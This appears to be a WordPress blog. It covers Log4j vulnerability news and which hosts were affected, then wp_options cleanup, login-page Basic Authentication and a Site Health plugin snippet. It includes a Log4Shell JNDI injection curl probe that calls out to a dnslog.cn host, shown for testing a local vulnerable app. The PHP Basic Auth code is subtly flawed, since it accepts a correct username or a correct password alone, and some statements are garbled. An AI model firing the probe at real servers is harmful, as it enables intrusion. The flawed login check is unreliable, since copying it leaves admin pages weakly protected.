Wordpress

Log4j vulnerability new variants

The security team from Cloudflare did continue to investigate and found additional flaws in the 2.15.0 version of Apache Log4j, which allows adversaries to initiate denial-of-service (DoS) attacks (CVE-2021-45046). The issue has been addressed on the newly available version which is 2.16.0. All companies which include Log4j on their infrastructure stack are suggested to patch to the updated version.

Cloudflare is known for its DDOS protection and is used by more than seven million websites, they have advised their customers to modify the WAF configuration to mitigate the exploit.

Rule IDDescriptionDefault Action
100514 (legacy WAF)
6b1cc72dff9746469d4695a474430f12 (new WAF)
Log4J HeadersBLOCK
100515 (legacy WAF)
0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF)
Log4J BodyBLOCK
100516 (legacy WAF)
5f6744fa026a4638bda5b3d7d5e015dd (new WAF)
Log4J URLBLOCK
Source: https://blog.cloudflare.com/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/

The mitigation is divided into three rules that look at HTTP headers, body, and URL, in that order.

They have also introduced a fourth rule that will guard against a far broader variety of assaults at the cost of a greater false-positive rate. As a result, they have made it available, but it’s not set to BLOCK by default:

Rule IDDescriptionDefault Action
100517 (legacy WAF)
2c5413e155db4365befe0df160ba67d7 (new WAF)
Log4J Advanced URI, HeadersDISABLED
Source: https://blog.cloudflare.com/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/

Cloudflare was the preferred choice of Kinsta, to make client websites faster and more secure. The reason they are not affected by log4j vulnerability. Kinsta is a managed WordPress hosting company that offers feature-rich, cost-effective services. They received the highest rating this year from the G2 review.

Source: https://kinsta.com

The Microsoft Threat Intelligence Center (MSTIC) which is behind the famous Windows Defender, is also acting proactively on new threats in relation to the Apache log4j vulnerability. They posted new updates regularly in regards to log4j, here in this URL https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

The cyber security experts from Praetorian posted on their youtube channel showing the 2.15.0 version of log4j still allows fetching of sensitive data.

Website owners are also worried that the vulnerability might be affecting their business. As the holidays are coming near, hopefully, vacation plans for this year’s end would not be canceled.

Worrying about Apache Log4j vulnerability

Apache Log4j is a logging utility that is part of the Apache Logging Services. The nature of this logging service is that it accepts logged messages to contain format strings that can be referenced remotely thru Java Naming and Directory Interface (JNDI). Information can be obtained remotely via a variety of protocols, including the Lightweight Directory Access Protocol (LDAP), Remote Method Invocation (RMI), and Domain Name Service (DNS).

Does websites using cPanel are affected?

A basic cPanel service is not affected, some services have the Apache Solr on it since the Solr service cannot be accessed remotely. All big companies that utilize cPanel like GoDaddy, Bluehost, and Hostgator are not affected by this vulnerability.

Is Pantheon affected by log4j vulnerability?

No, Pantheon is not affected by the log4j vulnerability. Here’s the information from their status page:

Pantheon has verified that the platform is not vulnerable to the security issue related to the open-source Apache “Log4j2″ utility.

Log4j is a Java-based logging utility found in a large number of software products.

The CVE-2021-44228 [1] vulnerability (aka the “Log4Shell” vulnerability) was disclosed by the Apache Log4j project. If exploited, this vulnerability could potentially allow a remote attacker to execute code on the server.

Once this vulnerability was publicly disclosed on the 9th December 2021, Pantheon began an audit of our infrastructure, as well as engaging with our software vendors, to determine potential impact. While our exposure to the vulnerability has been minimal, we have directly remediated components and verified that existing defense in depth measures prevent exploitation as researchers have published.

https://status.pantheon.io/incidents/w2p9bgp05j0j

Is WPEngine affected by log4j vulnerability?

No, WPEngine does not utilize the log4j on their platform stack.

Is Platform.sh affected by log4j vulnerability?

No by default but if the site has custom Java code better contact the development team to review the code. Here’s their official statement:

A thorough investigation of our products and services has led us to believe our services are protected from the worst form of remote code execution. The threat of information disclosure is reduced because we aren’t sending application variables to these services. To further reduce that threat, these services are also receiving updates to disable the undesired behavior of Log4j. We’ve confirmed with our backend IaaS providers and with Fastly that they’ve either been unaffected or have mitigated any exposures.

If your project is running custom JAVA code in an app container, please immediately ask your developers to review your code for Lib4j2 usage and update it to the latest 2.15 branch.

https://status.platform.sh/incidents/k443m60v5txh

Other resources

Christophe Tafani-Dereeper demonstrates this vulnerability, on this GitHub repository https://github.com/christophetd/log4shell-vulnerable-app by means of a Docker container with the version of log4j that is vulnerable.

In a terminal run:

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Use this DNS logger tool dnslog.cn on your test payloads.

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'

dnslog.cn screenshot

You can also use the site(dnslog.cn) to identify if your server is vulnerable.

Here are some guides on how to mitigate the vulnerability.

Optimize Database Performance – Cleaning WP Options Table

We all know WordPress is an application written in PHP and paired with MySQL or MariaDB database. The PHP language reads or writes to the database. This happens on every WordPress request, for example, like the home page that makes up links, content, theme, or plugin, there is always a call in the database.

One database table, in particular, that is overly used on this request is the WP Options table. The WP Options table stores the site data, when this table gets large this will contribute to sluggish response time. Cleaning the WP Options table can improve page generation speed.

Image from https://codex.wordpress.org/Database_Description

This is the only table on the database that is alone or without any table relationship, assuming it would add load if this is linked to another table, a flat table by design. Here is the table definition:

CREATE TABLE `wp_options` (
  `option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `option_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
  `option_value` longtext COLLATE utf8mb4_unicode_ci NOT NULL,
  `autoload` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`option_id`),
  UNIQUE KEY `option_name` (`option_name`),
  KEY `autoload` (`autoload`)
) ENGINE=InnoDB;
FieldTypeNullKeyDefaultExtra
option_idbigint(20) unsignedPrimaryauto_increment
option_namevarchar(191)Unique
option_valuelongtext
autoloadvarchar(20)Indexyes

By design, three out of one are indexed properly for an optimized SELECT query.

Removing Transients

Transients are temporary data of plugins and themes stored on the WP Options table. Usually, this has expiration dates but if the plugin has been deactivated or uninstalled the value on the table would remain in the database forever. Transients can be easily identified since a “transient” word can be found in the field option_name. To remove execute a DELETE SQL statement.

DELETE FROM wp_options WHERE option_name LIKE ('%\_transient\_%');

Removing Sessions

Sessions are temporary data that is generated from every user visit. This will be automatically be deleted after thirty minutes of user inactivity but that is not the case all the time. Manual removal is needed to clean up the session’s data.

DELETE FROM wp_options WHERE option_name like '_wp_session_%';

Protecting WordPress login page thru Basic Authentication

Take steps to avoid brute force attacks on the WordPress admin dashboard page. This would add an additional layer to site security and avoid traffic excess. Basic Authentication would facilitate HTTP requests to require a username and a password.

Add Basic Authentication via .htaccess

This is applicable to sites using Apache as the web server, this would not work on hosts with Nginx as their web server. Two simple steps:

Create a .htpasswd file then upload it to your webroot folder, this is the folder mostly where “.htaccess" resides.

Add this line to your .htaccess file

<Files wp-login.php>
AuthUserFile /.htpasswd
AuthName "Security Lock"
AuthType Basic
require valid-user
</Files>

Add Basic Authentication on the wp-config.php file

Sometimes as customers don’t have access to server configuration and PHP would be the fallback method.

if(preg_match('/(wp-login.php)/',$_SERVER['REQUEST_URI'])){
    if (!isset($_SERVER['PHP_AUTH_USER']) || ( $_SERVER['PHP_AUTH_USER'] != 'yourusername' && $_SERVER['PHP_AUTH_PW']   != 'yourpassword')) {
	    header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
	    header( 'WWW-Authenticate: Basic realm="Security Lock"' );
        header( 'HTTP/1.0 401 Unauthorized' );          
        exit();          
     }
}

Skipping WordPress Background Updates

What is Site Health?

The WordPress admin interface is designed to assist end-users in self-servicing their sites by addressing typical setup difficulties and other aspects of maintaining a healthy online presence. It also gives developers a consistent place to store debugging information.

SiteHealth Dashboard

Why the need to skip background updates?

Some hosts, specially Pantheon.io handle the core updates by means of applying upstream updates, or in some common practice, more sites are now in version control using git. Site owners don’t want to ignore the whole time and miss out on potential problems.

Code snippet to skip the update

Create a file named sitehealth.php put it in wp-content/mu-plugins and put these lines of code.

<?php
/**
 * Plugin Name: Sitehealth 
 * Plugin URI: https://github.com/careydayrit/
 * Description: Skip core update on sites using Git
 * Version: 0.1
 * Author: Carey Dayrit
 * Author URI: https://careydayrit.com/
 *
 * @package sitehealth
 */
 
add_filter('site_status_tests', 'skip_background_updates_tests', 10, 1 );


function skip_background_updates_tests($tests){
    unset($tests['async']['background_updates']);
    return $tests;
}